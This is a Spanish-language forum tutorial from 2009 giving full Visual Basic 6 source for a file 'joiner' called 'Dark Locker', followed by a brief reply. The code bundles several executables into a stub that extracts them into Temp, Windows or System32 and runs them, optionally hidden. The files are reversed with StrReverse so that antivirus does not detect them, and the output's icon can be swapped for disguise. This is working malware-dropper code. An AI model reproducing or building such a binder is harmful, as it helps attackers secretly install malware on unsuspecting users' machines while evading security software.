• [VB]Creando un Joiner que junte infinitos archivos by-Erick-

 #86373  por Snopk
 24 Jun 2009, 22:51
Bueno pues les voy a ense?ar como crear un joiner que junte infinitos archivos y como cambiar el icono,elegir la ruta de extraccion y el tipo de ejecucion(normal,oculto,no ejecutar)de los archivos.
Aqui tienen el source del mio: [ Debe registrarse para ver este enlace ]

Tendremos que abrir dos proyectos,uno para el joiner y el otro para el stub.
El joiner es el que meter los archivos dentro del stub,y este archivo con el stubb y los archivos que meti? el joiner es el resultado final.
Al eejcutarse,el stub se lee a si mismo y extrae los archivos y los ejecuta.
Ese es el funcionamiento basico jejejej.

JOINER

Primero abrimos un proyecto,y ponemos un ListView.
La propiedad view en lvwReport y las dem?s opciones a su eleccion,pueden mirar en mi source como lo tengo yo.
En mi caso,para a?adir los archivos y editar las opciones lo hice con un menu,ya deberian saber como se crean.
A?adiremos un CommonDialog(Poryecto>Componentes>Microsoft Common Dialog Control 6.0) y lo renombramos a cd(por comodidad).
Para a?adir archivos:
Código: [ Debe registrarse para ver este enlace ]
Private Sub añadir_Click()
Dim X As ListItem
  Dim j As Integer
contador = contador + 1    'contador para los archivos
cd.DialogTitle = "Seleciona el archivo"     'titulo del dialogo
cd.Filter = "Todos los archivos(*.*)"   'filtro de archivos(*.* es todos permitidos)
cd.ShowOpen   'mostramos el dialogo
If cd.FileName = "" Then Exit Sub     'si no se selecciona archivo salimos
Set X = ListView1.ListItems.Add(contador, , cd.FileTitle, , cd.FileTitle) 'a?adimos el nombre del archivo al lv
X.SubItems(1) = FileLen(cd.FileName) & " bytes"  'a?adimos tambien el peso
ListView1.ListItems.Item(ListView1.ListItems.Count).Tag = cd.FileName   'en la propiedad tag guardamos la ruta(proque al ser larga en el listview qeuda feo)
Me.Caption = "- Dark Locker -  " & ListView1.ListItems.Count & " archivo(s)"
cd.FileName = ""
Si tienen problemas con el control lsitview,aqui hay dos tutoriales:
[ Debe registrarse para ver este enlace ]
[ Debe registrarse para ver este enlace ]

Bueno esto el dise?o y la presentacion es cada uno,yo guardo las rutas en los tags para mostrar solo el nombre,si quieren metan toda la ruta y ya ver?n mas adelante que han de cambiar una cosa por el tag y lo dem?s es lo mismo.
Vamos a a?adir mas columnas,como las de Ruta extraccion y tipo ejecucion,y tambien mas men?s,para estas opciones,asi elegiremos la ruta y el tipo de ejecucion.
Código: [ Debe registrarse para ver este enlace ]
Private Sub temp_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(2) = "Temp"
End Sub

Private Sub files_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(2) = "Windows"
End Sub
Private Sub start_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(2) = "System"
End Sub
Private Sub normal_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(3) = "Normal"
End Sub
Private Sub oculto_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(3) = "Oculto"
End Sub
Private Sub noejecutar_click()
On Error Resume Next
ListView1.SelectedItem.SubItems(3) = "No Ejecutar"
End Sub
Bueno ahora,vamos a meter los archivos dentro del stub(aun no est? creado)pero antes voy a explicar como funciona esto:
-Tenemos el stub,ahora lo que hacemos es poner una marca,luego un archivo,luego otra marca,luego otro archivo etc...
Osea quedaria as?: stub///archivo1///archivo2///archivo3...
-Ese seria nuestro archivo,al ejecutarse,el stub se leeria a si mismo y partiria por esas marcas(///)y sacaria cada archivo.
Pero como nosotros tambien meteremos las rutas de extraccion y tipo de ejecucion,tenemos que hacer m?s marcas,para separar tambien las rutas y el resto de informacion asique nos quedaria esto:
stub///archivo1###ruta1###ejecucion1
Y as? con los dem?s archivos.

Veamos como meter los archivos y las rutas y ejecuciones:
Código: [ Debe registrarse para ver este enlace ]
Private Sub juntar_Click()
Dim i As Long, archivo As String, eso As String
Dim eRR As String
cd.DialogTitle = "Selecciona la ruta donde guardar"    'donde guardar el archivo resultante
cd.Filter = "Archivo ejecutable (*.exe)|*.exe"   'filtro,solo .exe(tambien se puede .pif,.cmd etc...pero bueno)
cd.ShowSave   'mostramos el dialogo guardar
If cd.FileName = "" Then   'si esta vacio mostramos un mensaje de error
MsgBox "Debe seleccionar el archivo a guardar", vbCritical, "Dark Locker"
Exit Sub
Else
dim stub as string    'abrimos el stub(mas adelante veremos como a?adirlo como archivo de recurso)
Open "c:\stub.exe" For Binary as #1
stub=space(lof(1))
get#1,,stub
close#1
Open cd.FileName For Binary As #1   'abrimos el archivo en binario
Put #1, , stub   'ponemos el stub
Close #1

For i = 1 To ListView1.ListItems.Count   'recorremos el listado de archivos
Open ListView1.ListItems.Item(i).Tag For Binary As #1   'nosotros guardamos la ruta en la propeidad tag,si lo hicisteis en el primer elemento sacadlo de alli
archivo = Space(LOF(1))   'obtenemos el archivo
Get #1, , archivo
Close #1


Open cd.FileName For Binary As #1   'abrimos el archivo(donde se guarda el resultado)
 Seek (1), LOF(1) + 1 'nos ponemos al final
'aki vemos como ponemos el archivo y las opciones,a?adimos el nombre para saber la extension y hacemmos StrReverse para k lo invierta y los AV no canten
Put #1, , "///" & StrReverse(archivo) & "##//1" & ListView1.ListItems(i) & "##//1" & ListView1.ListItems(i).SubItems(2) & "##//1" & ListView1.ListItems(i).SubItems(3)
Close #1

Next
MsgBox "Archivos Juntados!", vbInformation, "Dark Locker"
End If
End Sub
STUB:

Ahora tenemos que abrir otro proyecto para el stub,que ser? el encargado de leerse,extraer y ejecutar los archivos :o

El funcionamiento es sencillo:
-Se abre y se lee a si mismo,con la funcion Split(partir)se parte por las marcas k pusimos y extrae los archivos.
Veamos el codigo:
Código: [ Debe registrarse para ver este enlace ]
'APIS y constantes para la ejecucion
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Const SW_HIDE = 0
Dim route As String
Private Sub Form_Load() 'al cargarse
Dim miTam As String, total As String, archivo() As String, contador As String, i As Long, name() As String
miTam = Space(20480) 'tama?o del stub,esto lo rellenan despues de hacer el codigo,lo compilan y en propiedades(clic derecho en el archivo)ven el tama?o en bytes
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1  'nos abrimos a nosotros
total = Space(LOF(1))
Get #1, , total   'y nos leemos
Close #1
On Error Resume Next
archivo = Split(total, "///") 'partimos el archivo por la priemra marca

For i = 1 To UBound(archivo) 'bucle que va desde el 1 hasta el total de archivos separados de la marca
name = Split(archivo(i), "##//1")  'vamos partiendo por cada marca para obtener el nombre(con la extension)
Select Case name(2)  'un select case con el nombre para saber k ruta es
Case "Temp"  'si pone temp
Open Environ("temp") & "\" & name(1) For Binary As #1 'abrimos en temp el nombre con la extension
Put #1, , StrReverse(name(0))  'lo ponemos(recoredemos k lo pusimos invertido,ahora hemos de ponerlo bien de nuevo con StrReverse

Close #1
route = Environ("temp") & "\" & name(1)
Case "Application"  'demas casos
Open App.Path & "\" & name(1) For Binary As #1
Put #1, , StrReverse(name(0))

Close #1
route = App.Path & "\" & name(1)
Case "System"
Open Environ("windir") & "\" & "system32\" & name(1) For Binary As #1
Put #1, , StrReverse(name(0))
Close #1
route = Environ("windir") & "\" & "system32\" & name(1)
Case "Windows"
Open Environ("windir") & "\" & name(1) For Binary As #1
Put #1, , StrReverse(name(0))

Close #1
route = Environ("windir") & "\" & name(1)


End Select

Select Case name(3)   'ahora con la siguiente marca que era el tipo de ejecucion
Case "Oculto" 'ocutlo
ShellExecute Me.hwnd, "Open", route, vbNullString, vbNullString, SW_HIDE

Case "Normal" 'normal
ShellExecute Me.hwnd, "Open", route, vbNullString, vbNullString, 1

Case "No ejecutar" 'no hacemos nada xD

End Select

Next i
End
End Sub


STUB COMO RECURSO

Ahora,en vez de "c.\stub.exe",el stub lo a?adiremos como resource y cambiaremos eso:
-Ir al men? complementos, y elegir la opci?n " Administrador de complementos .
-Cargar el complemento que permite crear archivos de recursos, haciendo click en " Vb 6 Resource Editor ", y asegurarse que dice " Cargado

Ahora en la barra de herramientas de Visual basic, se a?adi? el complemento y lo pod?s acceder desde el siguiente ?cono:

-Debemos usar en este caso es el bot?n " Recurso personalizado", haciendo click en el bot?n que indica la flecha como se ve en el siguiente gr?fico :

-Al presionarlo, se abre la ventana para seleccionar los archivos, y elegimos el stub. Luego la ventana se ver? de la siguiente forma:

-Ahora ya se puede guardar con el bot?n " Guardar " ubicado en el toolbar del Editor. De esta forma se crear? el archivo .Res ( Guardarlo en la carpeta del proyecto)
[ Debe registrarse para ver este enlace ]

Bien,esto en el joiner(el cliente con el listview xD)ahora declaramos esto:
Código: [ Debe registrarse para ver este enlace ]
Dim recurso() As Byte
Y en el Form_load:
Código: [ Debe registrarse para ver este enlace ]
Private Sub Form_Load()
recurso = LoadResData(101, "CUSTOM")
Ahora cambiamos esto:
Código: [ Debe registrarse para ver este enlace ]
Open "c:\stub.exe" For Binary as #1
stub=space(lof(1))
get#1,,stub
close#1
Por esto:
Código: [ Debe registrarse para ver este enlace ]
Open cd.FileName For Binary As #1
Put #1, , recurso
Close #1
Y ya est?,asi no hay que andar con el stub en ningun lado puesto que est? como recurso en el joiner.

CAMBIAR ICONO



A?adid al proyecto estos dos modulos: [ Debe registrarse para ver este enlace ] ... n.rar.html (si no va el link posteadlo y lo cambio)
Y a?adimos este menu:
Código: [ Debe registrarse para ver este enlace ]
Private Sub icono_click()
Dim eRR As String
On Error Resume Next
cd.Filter = "Iconos (*.ico)|*.ico"  'solo iconos
cd.ShowOpen
If cd.FileName <> "" Then
rutaicon = cd.FileName   'declaramos un rutaicon(Dim rutaicon as string)arriba del todo(en declaraciones)
cambiaicon = True  'a?adid arriba del todo un (Dim cambiacon as boolean=false)
'esto har? de verificador para saber si se queire cambiar o no el icono
End If
End Sub
Y ahora al juntar los archivos,al final del todo(despues del ultimo next):
Código: [ Debe registrarse para ver este enlace ]
If cambiaicon = True Then
ReplaceIcons rutaicon, cd.FileName, eRR
End If
DESPEDIDA

Bueno espero que les haya gustado y sirva,lo he explicado lo mejor que he podido y pueden haber errores asique diganem si los ven.
Si tienen alguna duda ya saben ;)
Tambien tienen arriba el source de mi joiner como guia.
Espero que puedan hacer sus joiners ahora,hasta otra!
Saludos.

PD:Si vas a copiar el manual,pon la fuente.

AUTOR: -Erick-
FUENTE : code-makers

saludos
 #86469  por Xpro
 25 Jun 2009, 10:04
Gracias man, ya existía el tutorial pero bueno, gracias igual, ahora lo miraré ya que si de algo he aprendido en el VB, es que hay 1000000 metodos de hacer lo mismo xD.


Saludos